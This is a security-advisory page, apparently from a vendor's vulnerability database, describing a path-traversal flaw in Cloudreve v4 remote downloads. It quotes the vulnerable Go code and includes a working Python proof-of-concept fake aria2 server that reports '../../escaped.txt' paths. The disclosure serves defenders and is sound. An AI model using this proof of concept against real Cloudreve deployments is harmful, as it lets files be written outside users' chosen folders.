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GHSA-w8j7-39hp-8x59

GHSA-w8j7-39hp-8x59 is a security vulnerability in github.com/cloudreve/Cloudreve/v4. O3 Security confirms whether GHSA-w8j7-39hp-8x59 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Cloudreve's remote download file paths can escape the selected destination directory

Published
Aug 24, 2026
Updated
Aug 25, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Aug 25, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐹github.com/cloudreve/Cloudreve/v4

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as ../../escaped.txt can cause a downloaded file to be created outside the user-selected destination directory.

Details

In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.

// pkg/filemanager/workflows/remote_download.go:436-438
sanitizedName := sanitizeFileName(file.Name)
dst := dstUri.JoinRaw(sanitizedName)
src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))

The same issue also exists when constructing slave upload payloads.

// pkg/filemanager/workflows/remote_download.go:323-327
dst := dstUri.JoinRaw(sanitizeFileName(f.Name))
src := path.Join(m.state.Status.SavePath, f.Name)
payload.Files = append(payload.Files, SlaveUploadEntity{
	Src:   src,
	Uri:   dst,

The sanitizer does not remove /, ., or .. path segments.

// pkg/filemanager/workflows/remote_download.go:648-650
func sanitizeFileName(name string) string {
	r := strings.NewReplacer("\\", "_", ":", "_", "*", "_", "?", "_", "\"", "_", "<", "_", ">", "_", "|", "_")
	return r.Replace(name)
}

JoinRaw() splits the raw string by / and joins the segments, allowing .. to affect the final URI path.

// pkg/filemanager/fs/uri.go:173-175
func (u *URI) JoinRaw(elem string) *URI {
	return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}

For aria2, Cloudreve derives downloader.TaskFile.Name from the path returned by aria2.tellStatus().files[].path.

// pkg/downloader/aria2/aria2.go:148-159
relPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)
if len(relPath) > 0 {
	relPath = relPath[1:]
}
return downloader.TaskFile{
	Index:    index,
	Name:     relPath,

Therefore, if the selected destination is: cloudreve://my/victim/safe, the downloader reports ../../escaped.txt, the final upload destination becomes cloudreve://my/escaped.txt

The issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks.

PoC

The PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.

Setup:

Cloudreve official Docker image
PostgreSQL
Redis
Fake aria2 JSON-RPC service

Configure the master node in the Cloudreve admin UI:

Remote download capability: enabled
Downloader provider: aria2
aria2 RPC server: http://fake-aria2:6800/jsonrpc
aria2 token: empty

Create this folder structure in the file manager:

My files /
  victim /
    safe /

Create a remote download task using any URL in the victim/safe directory, for example:

http://attacker.invalid/file

The fake aria2 service returns:

files[0].path = <saveDir>/../../escaped.txt

Expected result after the remote download task completes:

cloudreve://my/escaped.txt exists

This demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.

Impact

If a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.

This affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.

Appendix: fake_aria2.py

import json
import os
from http.server import BaseHTTPRequestHandler, HTTPServer

GID = "0123456789abcdef"
CONTENT = b"created outside the selected Cloudreve destination\n"
save_dir = "/cloudreve/data/temp/aria2/poc-final"


def write_source_file():
    source = os.path.normpath(os.path.join(save_dir, "..", "..", "escaped.txt"))
    os.makedirs(os.path.dirname(source), exist_ok=True)
    with open(source, "wb") as f:
        f.write(CONTENT)
    print(f"fake aria2 source file: {source}", flush=True)


def response(rpc_id, result):
    return json.dumps({"jsonrpc": "2.0", "id": rpc_id, "result": result}).encode()


class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        global save_dir

        raw = self.rfile.read(int(self.headers.get("Content-Length", "0")))
        req = json.loads(raw or b"{}")
        method = req.get("method")
        rpc_id = req.get("id")

        if method == "aria2.addUri":
            for item in req.get("params", []):
                if isinstance(item, dict) and item.get("dir"):
                    save_dir = item["dir"]
                    break
            write_source_file()
            result = GID
        elif method == "aria2.tellStatus":
            result = {
                "gid": GID,
                "status": "complete",
                "totalLength": str(len(CONTENT)),
                "completedLength": str(len(CONTENT)),
                "uploadLength": "0",
                "downloadSpeed": "0",
                "uploadSpeed": "0",
                "infoHash": "",
                "numPieces": "1",
                "dir": save_dir,
                "files": [
                    {
                        "index": "1",
                        "path": f"{save_dir}/../../escaped.txt",
                        "length": str(len(CONTENT)),
                        "completedLength": str(len(CONTENT)),
                        "selected": "true",
                        "uris": [],
                    }
                ],
                "bittorrent": {"mode": "single", "info": {"name": "poc-final"}},
            }
        elif method == "aria2.getVersion":
            result = {"version": "fake-poc-final", "enabledFeatures": []}
        else:
            result = "OK"

        body = response(rpc_id, result)
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        return


if __name__ == "__main__":
    print("fake aria2 JSON-RPC listening on :6800", flush=True)
    HTTPServer(("0.0.0.0", 6800), Handler).serve_forever()

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/cloudreve/Cloudreve/v4all versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/cloudreve/Cloudreve/v4. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of github.com/cloudreve/Cloudreve/v4 has shipped for GHSA-w8j7-39hp-8x59 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-w8j7-39hp-8x59 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-w8j7-39hp-8x59. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as `../../escaped.txt` can cause a downloaded file to be created outside the user-selected destination directory. ### Details In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name. ```go // pkg/filemanager/workflows/remote_download.go:436-438 sanitizedName := sanitizeFileName(file.Name) dst := dstUri.JoinRaw(sanitizedName) src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))
O3 Security · Impact-Aware SCA

Is GHSA-w8j7-39hp-8x59 in your dependencies?

O3 detects GHSA-w8j7-39hp-8x59 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-w8j7-39hp-8x59: v4 | O3 Security